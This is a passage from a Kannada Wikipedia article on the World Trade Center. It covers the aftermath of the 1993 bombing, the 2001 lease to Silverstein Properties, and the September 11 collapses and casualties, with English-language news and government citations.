ಟವರ್‌ನಮೇಲಕ್ಕೆ ಸ್ಫೋಟಿಸಿ, ಎರಡರನ್ನು ಉರುಳಿಸುವ ಗುರಿಯನ್ನು ಹೊಂದಿದ್ದ.<ref>{{Cite news|url=http://www.cnn.com/US/9708/05/wtc.trial/index.html |title=Prosecutor: Yousef aimed to topple Trade Center towers |date=August 5, 1997 |publisher=CnN |accessdate=November 20, 2008}}</ref> ಬಾಂಬುದಾಳಿಯ ನಂತರ, ಎತ್ತರವಾದ ಸ್ತಂಬಗಳಿಗೆ ಅವರು ಒದಗಿಸಿದ ವಿನ್ಯಾಸದ ಆಧಾರವನ್ನು ಮರುಪಡೆಯುವಂತೆಮಾಡಲು, ಧಕ್ಕೆಗೊಳಗಾದ ಮಹಡಿಗಳ ದುರಸ್ತಿಯನ್ನು ಮಾಡಬೇಕಾಯಿತು.<ref>{{Cite web|url=http://www.interfire.org/res_file/pdf/Tr-076.pdf |format =PDF |title=The World Trade Center Complex |author=Port Authority Risk Management Staff |publisher=United States Fire Administration |accessdate=May 15, 2007}}</ref> ಬಾಂಬುದಾಳಿಯ ನಂತರ, ಮತ್ತೊಂದು ಬದಿಯಿಂದ ಬರುವ ಹಡ್ಸನ್ ನದಿಯ ನೀರಿನಿಂದ ಉಂಟಾಗುವ ಒತ್ತಡವನ್ನು ತಡೆಯಲು ಒದಗಿಸಿದ್ದ ಮಹಡಿಗಳ ಹಾಸುಕಲ್ಲುಗಳ ನಾಶದಿಂದ ಸಿಮೆಂಟು ಗೋಡೆಯು ಅಪಾಯದಲ್ಲಿತ್ತು. ಸಂಪೂರ್ಣ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರಕ್ಕೆ ಹವಾ ನಿಯಂತ್ರಣವನ್ನು ಒದಗಿಸುತ್ತಿದ್ದ, ಶೈತ್ಯೀಕರಣ ಘಟಕ, ಉಪಹಂತ B5ನಲ್ಲಿದ್ದು, ಇದು ಸಂಪೂರ್ಣವಾಗಿ ಹಾನಿಗೊಳಗಾಗಿತ್ತು.<ref name="ennala">{{Cite journal|doi=10.1061/(ASCE)0887-3828(1994)8:4(229)|author=Ramabhushanam, Ennala and Marjorie Lynch |title=Structural Assessment of Bomb Damage for World Trade Center |journal=Journal of Performance of Constructed Facilities |volume=8 |pages=229–242 | issue=4|year=1994}}</ref> ಬಾಂಬುದಾಳಿಯ ಅನಂತರ, ಬಂದರು ಪ್ರಾಧಿಕಾರವು ಸುರಂಗಮಾರ್ಗದಲ್ಲಿ ಶಾಖವಿಲ್ಲದೆ ಬೆಳಕನ್ನು ನೀಡುವ ಹೊಳೆಯುವ ದೀಪಗಳನ್ನು ಅಳವಡಿಸಿತು.<ref>{{Cite journal |url=http://www.fpemag.com/archives/enewsletter.asp?i=16 |title=Escape from New York - The Use of Photoluminescent Pathway-marking Systems in High-Rise |author=Amy, Jr., James D. |publisher=Society of Fire Protection Engineer |journal=Emerging trends |date=December 2006 |volume=Issue 8 |accessdate=November 20, 2008 |archive-date=ಮೇ 13, 2007 |archive-url=https://web.archive.org/web/20070513040348/http://www.fpemag.com/archives/enewsletter.asp?i=16 |url-status=dead }}</ref> ಮೂಲ ವ್ಯವಸ್ತೆಯಲ್ಲಿನ ಕ್ಲಿಸ್ಟಕರವಾದ ತಂತಿ ಜೋಡಣೆಯು ಮತ್ತು ಸೂಚನೆ ನೀಡುವಿಕೆಯು ಹಾಳಾದ ಕಾರಣ, ಸಂಪೂರ್ಣ ಸಂಕೀರ್ಣಕ್ಕೆ ಹೊಸಾ ಫೈರ್ ಅಲಾರಮ್ (ಬೆಮ್ಕಿಯ ಸೂಚಕ) ವ್ಯವಸ್ತೆಯನ್ನು ಅಳವಡಿಸಬೇಕಾಯಿತು.<ref>{{Cite book|url=http://wtc.nist.gov/pubs/NISTNCSTAR1-4.pdf |format=PDF |title=Active Fire Protection Systems (NCSTAR 1-4) |publisher=National Institute of Standards and Technology |page=44 |author=Evans, David D., Richard D. Peacock, Erica D. Kuligowski, W. Stuart Dols, William L. Grosshandler |month=September | year=2005}}</ref> ಟವರ್‌ನ ಬಾಂಬುದಾಳಿಯಲ್ಲಿ ಬಲಿಯಾದವರ ಸ್ಮಾರಕಾರ್ಥವಾಗಿ, ಸ್ಫೋಟದಲ್ಲಿ ಮರಣಿಸಿದವರ ಹೆಸರಿನೊಂದಿಗೆ ಪ್ರತಿಬಿಂಬಿಸುವ ಕೊಳವನ್ನು ಅಳವಡಿಸಲಾಯಿತು.<ref>{{Cite news|url=http://query.nytimes.com/gst/fullpage.html?res=9405E2D81631F935A15751C0A9649C8B63 |title=Their Monument Now Destroyed, 1993 Victims Are Remembered |author=Dwyer, Jim |work=The New York Times |date=February 26, 2002 |accessdate=November 20, 2008}}</ref> ಅದಾಗ್ಯೂ, ಮುಂದಿನ {{Nowrap|September 11}} ದಾಳಿಗಳಲ್ಲಿ ಸ್ಮಾರಕವು ನಾಶವಾಯಿತು. 9/11 ದಾಳಿಗಳಲ್ಲಿ ಬಲಿಯಾದವರನ್ನು ಸೇರಿಸಿ ಒಟ್ಟಿಗೆ ಹೊಸಾ ಸ್ಮಾರಕವನ್ನು, ಹೊಸಾ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ ಸ್ಥಳದಲ್ಲಿ ಸ್ಥಾಪಿಸಲು ನಿರ್ಧರಿಸಲಾಗಿದೆ. ===ಭೋಗ್ಯ=== 1998ರಲ್ಲಿ, ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವನ್ನು ಖಾಸಗೀಕರಣಗೊಳಿಸುವ ಯೋಜನೆಗಳಿಗೆ ಬಂದರು ಪ್ರಾಧಿಕಾರವು ಅನುಮೋದನೆಯನ್ನು ನೀಡಿತು.<ref>{{Cite news|title=PA to ease WTC tax load, rent would be cut to offset hike by city |newspaper=New York Daily News |date=February 6, 2001 |author=Herman, Eric}}</ref> 2001ರಲ್ಲಿ, ಬಂದರು ಪ್ರಾಧಿಕಾರವು ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವನ್ನು ಖಾಸಗಿ ಘಟಕಗಳಿಗೆ ಭೋಗ್ಯಕ್ಕೆ ನೀಡುವ ಅನ್ವೇಷಣೆಯನ್ನು ಪ್ರಾಂಭಿಸಿತ್ತು. ಭೋಗ್ಯಕ್ಕಾಗಿ, ವೊರ್ನಾಡೊ ರಿಯಾಲ್ಟಿ ಟ್ರಸ್ಟ್‌ರವರಿಂದ ಬಿಡ್, ಬ್ರೂಕ್‌ಫೀಲ್ಡ್ ಪ್ರೊಪೆರ್ಟೀಸ್ ಕಾರ್ಪೊರೇಷನ್ ಮತ್ತು ಬೋಸ್ಟನ್ ಪ್ರೊಪೆರ್ಟೀಸ್ ನಡುವಿನ ಸಂಯುಕ್ತ ಬಿಡ್,<ref>{{Cite news|url=http://query.nytimes.com/gst/fullpage.html?res=9900E4DF163EF932A05752C0A9679C8B63 |title=Bidding for Twin Towers |work=The New York Times |date=January 31, 2001 |author=Bagli, Charles V. |accessdate=November 20, 2008}}</ref> ಮತ್ತು ಸಿಲ್ವರ್ಸ್ಟೇನ್ ಪ್ರೊಪೆರ್ಟೀಸ್ ಮತ್ತು ದಿ ವೆಸ್ಟ್‌ಫೀಲ್ಡ್ ಗ್ರೂಪ್‌ರವರಿಂದ ಸಂಯುಕ್ತ ಬಿಡ್‌ಗಳು ಬಂದಿವೆ.<ref name="cuozzo">{{Cite news|title=Larry Lusts for Twin Towers; Silverstein has an Eye on WTC's; Untapped Retail Potential |publisher=New York Post |date=January 30, 2001 |author=Cuozzo, Steve}}</ref> ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವನ್ನು ಖಾಸಗೀಕರಣವಾಗಿಸುವುದರ ಮೂಲಕ, ಇದನ್ನು ನಗರದ ತೆರಿಗೆ ಪಟ್ಟಿಗಳಲ್ಲಿ ಸೇರಿಸಲಾಗುವುದು<ref name="cuozzo" />, ಮತ್ತು ಬಂಡವಾಳಗಳನ್ನು ಬಂದರು ಪ್ರಾಧಿಕಾರದ ಇತರ ಯೋಜನೆಗಳಿಗೆ ನೀಡಲಾಗುವುದು.<ref>{{Cite news|title=Port Authority Gets Final Bids on WTC |publisher=New ''York Daily News'' |date=January 31, 2001 |author=Herman, Eric}}</ref> {{Nowrap|February 15}}, 2001ರಂದು, 99-ವರ್ಷಗಳ ಭೋಗ್ಯಕ್ಕೆ $3.25 ಬಿಲಿಯನ್‌ನ್ನು ಪಾವತಿಸುವುದರ ಮೂಲಕ, ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಭೋಗ್ಯವನ್ನು ವೊರ್ನಾಡೊ ರಿಯಾಲ್ಟಿ ಟ್ರಸ್ಟ್‌ ಗೆದ್ದಿದೆ ಎಂದು ಬಂದರು ಪ್ರಾಧಿಕಾರವು ಪ್ರಕಟಿಸಿದೆ.<ref>{{Cite news|title=Brookfield Loses Lease Bid |publisher=Toronto Star |date=February 23, 2001}}</ref> ಸಿಲ್ವರ್‌ಸ್ಟೈನ್ ತನ್ನ ದರವನ್ನು $3.22 ಬಿಲಿಯನ್ ವರೆಗೂ ಹೆಚ್ಚಿಸಿದ್ದರೂ, ವೋರ್ನಾಡೊ, ಸಿಲ್ವರ್‌ಸ್ಟೈನ್‌ ಗಿಂತಲೂ $600 ಮಿಲಿಯನ್‌ ಹರಾಜನ್ನು ಏರಿಸಿತ್ತು. ಅದಾಗ್ಯೂ, ವೊರ್ನಾಡೊ ಕೊನೆಯ ಕ್ಷಣದಲ್ಲಿ, ಕಡಿಮೆ ಸಮಯ 39-ವರ್ಷಗಳ ಭೋಗ್ಯದ ಅವಧಿಯನ್ನು ಸೇರಿ, ತಮ್ಮ ಒಪ್ಪಂದಲ್ಲಿ ಕೆಲವು ಬದಲಾವಣೆಗಳನ್ನು ತರಲು ಇಚ್ಚಿಸಿತು, ಆದರೆ ಬಂದರು ಪ್ರಾಧಿಕಾರ ಇದನ್ನು ಬದಲಾಯಿಸಲಾಗುವಂತಿಲ್ಲ ಎಂಬುದನ್ನಾಗಿ ಪರಿಗಣಿಸಿತ್ತು.<ref>{{Cite news|url=http://query.nytimes.com/gst/fullpage.html?res=9A03E5DB113DF933A15750C0A9679C8B63&sec=&pagewanted=1a |title=As Trade Center Talks Stumble, No. 2 Bidder Gets Another Chance |author=Bagli, Charles V. |work=The New York Times |date=March 20, 2001 |accessdate=November 20, 2008}}</ref> ನಂತರ ವೊರ್ನಾಡೊ ಹಿಂಜರಿಯಿತು ಮತ್ತು ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಭೋಗ್ಯಕಾಗಿ ಸಿಲ್ವರ್‌ಸ್ಟೈನ್‌ನ ಬಿಡ್‌ನ್ನು {{Nowrap|April 26}}, 2001ರಂದು ಅಂಗೀಕರಿಸಲಾಯಿತು,<ref>{{Cite news|url=http://query.nytimes.com/gst/fullpage.html?res=9D01E3DA1339F934A15757C0A9679C8B63&sec=&pagewanted=1 |title=Deal Is Signed To Take Over Trade Center |author=Bagli, Charles V. |work=The New York Times |date=April 27, 2001 |accessdate=November 20, 2008}}</ref> ಮತ್ತು {{Nowrap|July 24}}, 2001 ರಂದು ಪೂರ್ಣಗೊಂಡಿತ್ತು.<ref>{{Cite news|url=http://query.nytimes.com/gst/fullpage.html?res=9B06E0D91F3AF936A15754C0A9679C8B63&sec=&spon= |title=Leasing of Trade Center May Help Transit Projects, Pataki Says |work=The New York Times |date=July 25, 2001 |author=Smothers, Ronald |accessdate=November 20, 2008}}</ref> ==ವಿನಾಶ/ಅಳಿವು== {{Main|September 11 attacks|American Airlines Flight 11|United Airlines Flight 175|Collapse of the World Trade Center}} [[File:National Park Service 9-11 Statue of Liberty and WTC fire.jpg|thumb|right|ಮುಂಭಾಗದಲ್ಲಿ ಸ್ಟ್ಯಾಚೂ ಆಫ್ ಲಿಬರ್ಟಿ ಇರುವಂತಹ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕಟ್ಟಡಕ್ಕೆ ಬೆಂಕಿ ಬಿದ್ದಿರುವುದು]] ಸೆಪ್ಟೆಂಬರ್ 11, 2001ರಂದು, ಭಯೋತ್ಪಾದಕರು ಅಮೆರಿಕನ್ ಏರ್‌ಲೈನ್ ವಿಮಾನ 11ನ್ನು ಅಪಹರಿಸಿದ್ದರು ಮತ್ತು 08:46 ಸಮಯದಲ್ಲಿ ಉತ್ತರ ಟವರ್‌ನ ಉತ್ತರ ದಿಕ್ಕಿನ ಮುಂಬಾಗಕ್ಕೆ ಡಿಕ್ಕಿಹೊಡೆಯುವಂತೆ ಮಾಡಿದರು, ಇದು 93ನೆಯ ಮತ್ತು 99ನೆಯ ಮಹಡಿಗಳ ನಡುವೆ ಡಿಕ್ಕಿಹೊಡೆಯಿತು. ಹದಿನೇಳು ನಿಮಿಷಗಳ ನಂತರ, ಭಯೋತ್ಪಾದಕರ ಮತ್ತೊಂದು ತಂಡವು ಅದೇ ರೀತಿಯಲ್ಲಿ ಯುನೈಟೆಡ್ ಏರ್‌ಲೈನ್ಸ್ ವಿಮಾನ 175ನ್ನು ಅಪಹರಿಸಿ ದಕ್ಷಿಣ ಟವರ್‌ನ 77ನೆಯ ಮತ್ತು 85ನೆಯ ಮಹಡಿಗಳ ನಡುವೆ ಡಿಕ್ಕಿ ಹೊಡೆಸಿದರು.<ref name="911commission">{{Cite web|url=http://www.9-11commission.gov/report/index.htm |title=9/11 Commission Report |publisher=The National Commission on Terrorist Attacks Upon the United States}}</ref> ವಿಮಾನ 11 ರಿಂದ ಉತ್ತರ ಟವರ್‌ಗೆ ಆದ ನಾಶವು, ಹಾನಿಗೊಳಗಾದ ಪ್ರದೇಶದಿಂದ ಮೇಲಿದ್ದವರು ಪಾರಾಗಲು ಯವುದೇ ಮಾರ್ಗ ಇಲ್ಲದಂತೆ ಮಾಡಿ, 1,344 ಜನರು ಅಪಾಯದಲ್ಲಿ ಸಿಕ್ಕಿಕೊಳ್ಳುವಂತೆ ಮಾಡಿತು.<ref name="102Mins">{{Cite news |archiveurl=https://web.archive.org/web/20081216112816/http://query.nytimes.com/gst/fullpage.html?res=9F00E6DC153BF935A15756C0A9649C8B63&sec=&spon=&pagewanted=4 |archivedate=ಡಿಸೆಂಬರ್ 16, 2008 |last=Dwyer |first=Jim |coauthors=Lipton, Eric et al. |title=102 Minutes: Last Words at the Trade Center; Fighting to Live as the Towers Die |url=http://query.nytimes.com/gst/fullpage.html?res=9F00E6DC153BF935A15756C0A9649C8B63&sec=&spon=&pagewanted=4 |date=May 26, 2002 |work=The New York Times |accessdate=May 23, 2008 |url-status=dead }}</ref> ವಿಮಾನ 11ಕ್ಕೆ ಹೋಲಿಸಿದರೆ, ವಿಮಾನ 175 ಹೆಚ್ಚು ಮಧ್ಯಭಾಗಕ್ಕೆ ಹಾನಿಯನ್ನುಂಟುಮಾಡಿದೆ, ಮತ್ತು ಕೇವಲ ಒಂದೇ ಒಂದು ಸುರಂಗಮಾರ್ಗವು ಹಾನಿಗೊಳಗಾಗದೆ ಉಳಿದಿತ್ತು; ಏನೇಆದರೂ, ಕೇವಲ ಕೆಲವೇ ಜನರಿಗೆ ಮಾತ್ರ ಟವರ್‌ ಉರುಳಿ ಬೀಳುವ ಮೊದಲೇ ಇದರ ಮೂಲಕ ಹೊರಬರಲು ಸಾಧ್ಯವಾಯಿತು. ಅದಾಗ್ಯೂ ದಕ್ಷಿಣ ಟವರ್‌ಮೇಲಿನ ಪರಿಣಾಮ ಕಡಿಮೆ ಪ್ರಮಾನದಲ್ಲಿತ್ತು ಮತ್ತು ಕಡಿಮೆ ಸಂಖ್ಯೆಯ ಅಂದರೆ 700 ಕ್ಕಿಂತಲೂ ಕಡಿಮೆ ಜನರು ಸ್ಥಳದಲ್ಲೇ ಮರಣಹೊಂದಿದ್ದರು.<ref name="NYTFatal">{{Cite news |last=Lipton |first=Eric |url=https://www.nytimes.com/2004/07/22/nyregion/22towers.html?ei=5090&en=ccd27da4663af33f&ex=1248235200&partner=rssuserland&pagewanted=print&position= |title=Study Maps the Location of Deaths in the Twin Towers |date=July 22, 2004 |work=The New York Times |accessdate=April 22, 2008 |archive-date=ಜನವರಿ 29, 2014 |archive-url=https://web.archive.org/web/20140129211051/http://www.nytimes.com/2004/07/22/nyregion/22towers.html?ei=5090&en=ccd27da4663af33f&ex=1248235200&partner=rssuserland&pagewanted=print&position= |url-status=dead }}</ref> ಈಗಾಗಲೇ ವಿಮಾನದ ಡಿಕ್ಕಿಯಿಂದ ದುರ್ಭಲವಾಗಿದ್ದ, ಉಕ್ಕಿನ ವಿನ್ಯಾಸದ ವಸ್ತುಗಳಿಗೆ ಹತ್ತಿದ ಬೆಂಕಿಯಿಂದ, 9:59 ಎ.ಎಮ್. ಸಮಯದಲ್ಲಿ, ದಕ್ಷಿಣ ಟವರ್ ಕುಸಿದು ಬಿದ್ದಿತು. ಸುಮಾರು 102ನಿಮಿಷಗಳ ಕಾಲ ಉರಿದ ನಂತರ ಉತ್ತರ ಟವರ್ 10:28&nbsp;ಎ.ಎಮ್. ಸಮಯಕ್ಕೆ ಕುಸಿದು ಬಿದ್ದಿತು.<ref name="nist-ncstar1">ಎನ್‌ಐಎಸ್‌ಟಿ ಎನ್‌ಸಿ‌ಎಸ್‌ಟಿಎಆರ್ 1-1 (2005), p. 34; ಪುಟಗಳು 45–46</ref> 5:20&nbsp;ಪಿ.ಎಮ್.<ref name="ch5" /> ಸಮಯಕ್ಕೆ {{Nowrap|September 11}}, 2001ರಲ್ಲಿ, 7ಡಬ್ಲ್ಯುಟಿಸಿಯು, ಪೆಂಟ್‌ಹೌಸ್ (ಮೇಲಂತಸ್ತುನಲ್ಲಿರುವ ಮನೆಯನ್ನು) ಚೂರು ಚೂರು ಮಾಡುವುದರೊಂದಿಗೆ ಕುಸಿದುಬೀಳಲು ಪ್ರಾರಂಭಿಸಿತು, ಮತ್ತು ನಂದಿಸಲಸಾಧ್ಯವಾದ ಬೆಂಕಿಯು ವಿನ್ಯಾಸಕ್ಕೆ ಹಾನಿಯನ್ನು ಉಂಟುಮಾಡುವುದರಿಂದ ಇದು 5:21&nbsp;ಪಿ.ಎಮ್. ಸಮಯಕ್ಕೆ<ref name="ch5">[http://www.fema.gov/pdf/library/fema403_ch5.pdf ಎಫ್‌ಇ‌ಎಮ್‌ಎ: ವರ್ಲ್ಡ್ ಟ್ರೇಡ್ ಸೆಂಟರ್ ಬಿಲ್ಡಿಂಗ್ ಪರ್ಫಾರ್ಮೆನ್ಸ್ ಸ್ಟಡಿ, ಅಧ್ಯಾಯ. 5, ವಿಭಾಗ 5.5.4]</ref> ಸಂಪೂರ್ಣವಾಗಿ ಕುಸಿದುಬಿದ್ದಿತು.<ref>{{Cite web|url=http://wtc.nist.gov/media/NIST_NCSTAR_1A_for_public_comment.pdf |title=Final Report on the Collapse of World Trade Center Building 7 - Draft for Public Comment |publisher=NIST |pages=xxxii |month=August | year=2008 |format=PDF}}</ref> 3ಡಬ್ಲ್ಯುಟಿಸಿ, ಮಾರಿಯಟ್ ಹೋಟಲ್, ಎರಡು ಟಾವರ್‌ಗಳು ಕುಸಿದು ಬೀಳುವ ಸಮಯದಲ್ಲಿ ಹಾನಿಗೊಳಗಾಗಿತ್ತು. ಡಬ್ಲ್ಯುಟಿಸಿ ಪ್ಲಾಝಾದಲ್ಲಿ ಉಳಿದ ಮೂರು ಕಟ್ಟಡಗಳು ಭಗ್ನಾವಶೇಷಗಳಿಂದ ಭಾರೀ ಪ್ರಮಾಣದ ಹಾನಿಗೊಳಗಾಗಿದ್ದವು ಮತ್ತು ಕಟ್ಟಕಡೆಗೆ ಅವನ್ನು ಸಹ ಕೆಡವಲಾಯಿತು.<ref name="wtcstudy">{{Cite web|url=http://www.fema.gov/rebuild/mat/wtcstudy.shtm |title=World Trade Center Building Performance Study |month=May | year=2002 |publisher=FEMA |accessdate=July 12, 2007}}</ref> ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದಿಂದ ಲೈಬ್ರರಿ ಬೀದಿಗೆ ಅಡ್ಡಲಾಗಿದ್ದ Deutsche ಬ್ಯಾಂಕ್ ಕಟ್ಟಡವು, ವಾಸಿಸಲಿಯೋಗ್ಯವಾಗಿಲ್ಲದ ಅದರ ಒಳಗಿನ ವಿಷಕಾರಿ ಸ್ಥಿತಿಗಳ ಕಾರಣದಿಂದ ನಂತರ ಖಂಡನೆಗೊಳಗಾಯಿತು; ಇದನ್ನು ಈಗ ಕೆಡವುಲಾಗುತ್ತಿದೆ.<ref>{{Cite web|url=http://www.fema.gov/pdf/library/fema403_ch6.pdf |title=World Trade Center Building Performance Study - Bankers Trust Building |month=May | year=2002 |publisher=FEMA |accessdate=July 12, 2007|format=PDF}}</ref><ref>{{Cite web| title=The Deutsche Bank Building at 130&nbsp;Liberty Street | publisher=Lower Manhattan Construction Command Center |url=http://www.renewnyc.com/plan_des_dev/130Liberty/default.asp |accessdate=July 12, 2007}}</ref> 30 ಪಶ್ಚಿಮ ಬ್ರಾಡ್‌ವೇಯಲ್ಲಿರುವ ಬೊರೋಗ್ ಆಫ್ ಮನ್‌ಹಾಟನ್ ಕಮ್ಯುನಿಟಿ ಕಾಲೇಜ್‌ನ ಪಿಟ್ಟರ್‌ಮ್ಯಾನ್ ಹಾಲ್‌ನ್ನು ಸಹ, ದಾಳಿಯಲ್ಲಿ ಉಂಟಾದ ಅತಿಯಾದ ನಾಶದಿಂದಾಗಿ ಖಂಡಿಸಲಾಯಿತು ಮತ್ತು ಇದನ್ನು ಉರುಳಿಸುವ ಪಟ್ಟಿಯಲ್ಲಿ ಸೇರಿಸಲಾಯಿತು.<ref>{{Cite web|title=Fiterman Hall - Project Updates |publisher=Lower Manhattan Construction Command Center |url=http://www.lowermanhattan.info/construction/project_updates/fiterman_hall_39764.aspx |accessdate=November 19, 2008}}</ref> [[File:World Trade Center site 2010.jpg|right|thumb|ಡಬ್ಲುಟಿಸಿ ಸೈಟ್, ಏಪ್ರಿಲ್&nbsp;2010]] ದಾಳಿಯ ಪರಿಣಾಮದಿಂದ ಸುಮಾರು ಹತ್ತಾರು ಸಾವಿರ ಜನರು ಮರಣ ಹೊಂದಿದ್ದಾರೆಂದು ವರದಿಗಳು ಹೇಳುತ್ತವೆ, ಎಲ್ಲಾ ದಿನಗಳಲ್ಲಿಯೂ ಸುಮಾರು 50,000 ಜನರು ಈ ಕಟ್ಟಡಗಳ ಒಳಗೆ ಇರುತ್ತಿದ್ದರು. ಕೊನೆಗೆ, 9/11ರ ದಾಳಿಗೆ ಸಂಬಂಧಿಸಿದಂತೆ 2,752 ಮರಣ ಪ್ರಮಾಣಪತ್ರಗಳ ಅರ್ಜಿಗಳು ದಾಖಲಾಗಿದ್ದವು, ಅದರಲ್ಲಿ ಫೆಲಿಕಾ ಡನ್-ಜೋನ್ಸ್ ಅವರು{{Nowrap|May 2007}} ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಕುಸಿತದ ದೂಳಿನಿಂದಾಗಿ ನಂತರದ ಐದು ತಿಂಗಳಿನಲ್ಲಿ ಮರಣ ಹೊಂದಿದರು ಎಂದು ಅರ್ಜಿ ಸಲ್ಲಿಸಲಾಗಿತ್ತು<ref>{{Cite news|url=https://www.nytimes.com/2007/05/24/nyregion/24dust.html |title=For the First Time, New York Links a Death to 9/11 Dust |author=DePalma, Anthony |work=The New York Times |date=May 24, 2007}}</ref> ಇನ್ನು ಇಬ್ಬರು ದುರ್ದೈವಿಗಳ ಹೆಸರು ನಗರದ ವೈದ್ಯಕೀಯ ಪರೀಕ್ಷೆಯ ಕಛೇರಿಯಲ್ಲಿ ದಾಖಲಾದವು: ಡಾ. ಸ್ನೇಹಾ ಆ‍ಯ್‌ನ್ ಫಿಲಿಪ್ ಎಂಬುವವರು ದಾಳಿಯ ಹಿಂದಿನದಿನದವರೆಗೆ ಇದ್ದರು ನಂತರದ ದಿನಗಳಲ್ಲಿ ಕಾಣಿಸುತ್ತಿಲ್ಲವಾದ್ದರಿಂದ ಅವರ ಸಾವಿನ ಅರ್ಜಿ ಸಲ್ಲಿಸಿದ್ದರು, ಮತ್ತೊಬ್ಬರು ಲಿಯನ್ ಹೇವರ್ಡ್, ಇವರು ಅವಳಿ ಕಟ್ಟಡಗಳ ನಾಶದಿಂದಾದ ದೂಳಿನಿಂದ ಆರೋಗ್ಯದ ಮೇಲೆ ಪರಿಣಾಮ ಬೀರಿ ಲಿಂಪೋಮಾದಿಂದ ನರಳಿ 2008ರಲ್ಲಿ ಸಾವನ್ನಪ್ಪಿದರೆಂದು ಅರ್ಜಿ ಸಲ್ಲಿಸಲಾಗಿದೆ.<ref>{{Cite news |url=http://www.cbsnews.com/stories/2008/07/10/national/main4250100.shtml |title=Official 9/11 Death Toll Climbs By One |publisher=CBS News |date=July 10, 2008 |accessdate=August 29, 2010 |archive-date=ಆಗಸ್ಟ್ 24, 2010 |archive-url=https://web.archive.org/web/20100824172030/http://www.cbsnews.com/stories/2008/07/10/national/main4250100.shtml |url-status=dead }}</ref><ref>{{Cite news|url=https://www.nytimes.com/2009/09/12/nyregion/12groundzero.html |title=9/11's Litany of Loss, Joined by Another Name |publisher=The New York Times |date=September 11, 2009 |accessdate=August 29, 2010 | first=Lisa W. | last=Foderaro}}</ref> ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ 101ನೆಯ ಮಹಡಿಯಿಂದ 105ನೆಯ ಮಹಡಿಯವರೆಗೆ ಒಂದು ಹೂಡಿಕೆದಾರರ ಬ್ಯಾಂಕು ಕ್ಯಾಂಟರ್ ಫಿಟ್ಜೆರಾಲ್ಡ್ ಎಲ್.ಪಿ.ಯು ತನ್ನ 658 ಉದ್ಯೋಗಿಗಳನ್ನು ಕಳೆದು ಕೊಂಡಿತು,<ref>{{Cite news |url=http://news.bbc.co.uk/2/hi/Americas/5282060.stm?lsf |title=Cantor rebuilds after 9/11 losses |publisher=BBC |date=September 4, 2006 |accessdate=May 20, 2008 |archive-date=ಡಿಸೆಂಬರ್ 25, 2018 |archive-url=https://web.archive.org/web/20181225172403/http://news.bbc.co.uk/2/hi/americas/5282060.stm?lsf%20 |url-status=dead }}</ref> ಕ್ಯಾಂಟರ್ ಫಿಟ್ಜೆರಾಲ್ಡ್ ಬ್ಯಾಂಕಿನ ಕೆಳಗಿನ ಅಂತಸ್ತುಗಳಾದ 93–101ರಲ್ಲಿದ್ದ ಮಾರ್ಶ್ & ಮೆಕ್‌ಲೆನನ್ ಕಂಪನಿಯು , (ಫ್ಲೈಟ್ 11ನ ಇಂಪ್ಯಾಕ್ಟ್ ಇರುವ ಸ್ಥಳ) 295 ಉದ್ಯೋಗಿಗಳನ್ನು ಕಳೆದುಕೊಂಡಿತು, ಹಾಗೂ ಅಯನ್ ಕಾರ್ಪೊರೇಶನ್‌ನ 175 ಜನರು ಸಾವನ್ನಪ್ಪಿದರು.<ref>{{Cite news|url=http://www.investmentnews.com/apps/pbcs.dll/article?AID=/20070911/REG/70911011 |title=Industry honors fallen on 9/11 anniversary |publisher=InvestmentNews |author= Siegel, Aaron |date=September 11, 2007 |accessdate=May 20, 2008}}</ref> ಅಲ್ಲದೆ ನ್ಯೂಯಾರ್ಕ್ ನಗರದ ಅಗ್ನಿಶಾಮಕ ದಳದವರು 343 ಜನರು, ಬಂದರು ಪ್ರಾಧಿಕಾರದ 84 ಉದ್ಯೋಗಿಗಳು, ಅದರಲ್ಲಿ 37 ಸದಸ್ಯರು ಬಂದರು ಪ್ರಾಧಿಕಾರದ ಪೋಲೀಸ್ ಇಲಾಖೆಗೆ ಸೇರಿದವರಾಗಿದ್ದಾರೆ, ಹಾಗೂ ಇನ್ನೂ 23 ಜನರು ನ್ಯೂಯಾರ್ಕ್ ನಗರದ ಪೋಲೀಸ್ ಇಲಾಖೆಯ ಅಧಿಕಾರಿಗಳಾಗಿದ್ದರು.<ref>{{Cite news|author=Denise Grady |coauthors=Andrew C. Revkin |title=Lung Ailments May Force 500 Firefighters Off Job |url=http://query.nytimes.com/gst/fullpage.html?res=9C05E1DC1631F933A2575AC0A9649C8B63 |date=September 10, 2002 |work=The New York Times |accessdate=May 23, 2008}}</ref><ref>{{Cite news|title=Post-9/11 report recommends police, fire response changes |url=http://www.usatoday.com/news/nation/2002-08-19-nypd-nyfd-report_x.htm |date=August 19, 2002 |agency=Associated Press |publisher=USA Today |accessdate=May 23, 2008}}</ref><ref>{{Cite news|title=Police back on day-to-day beat after 9/11 nightmare |url=http://archives.cnn.com/2002/US/07/20/wtc.police/index.html |date=July 21, 2002 |publisher=CNN |accessdate=May 23, 2008}}</ref> ಕಟ್ಟಡಗಳು ವಿನಾಶವಾದಾಗ ಅದರೆ ಮೇಲಿದ್ದ 20 ಜನರನ್ನು ಜೀವಂತ ಹೊರಕರೆತರಲಾಯಿತು.<ref>{{Cite news |url=http://www.rockymountainnews.com/drmn/movies/article/0,2792,DRMN_23_4893572,00.html |title=Terror in close-up |author=Denerstein, Robert |date=August 4, 2006 |publisher=Rocky Mountain News |accessdate=November 19, 2008 |archive-date=ಸೆಪ್ಟೆಂಬರ್ 11, 2009 |archive-url=https://web.archive.org/web/20090911195320/http://www.rockymountainnews.com/drmn/movies/article/0,2792,DRMN_23_4893572,00.html |url-status=dead }}</ref> ==ಪುನರ್ನಿರ್ಮಾಣ== {{Main|One World Trade Center|World Trade Center site|World Trade Center Site Memorial Competition}} [[File:New wtc.jpg|thumb|right|ಭವಿಷ್ಯದ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ 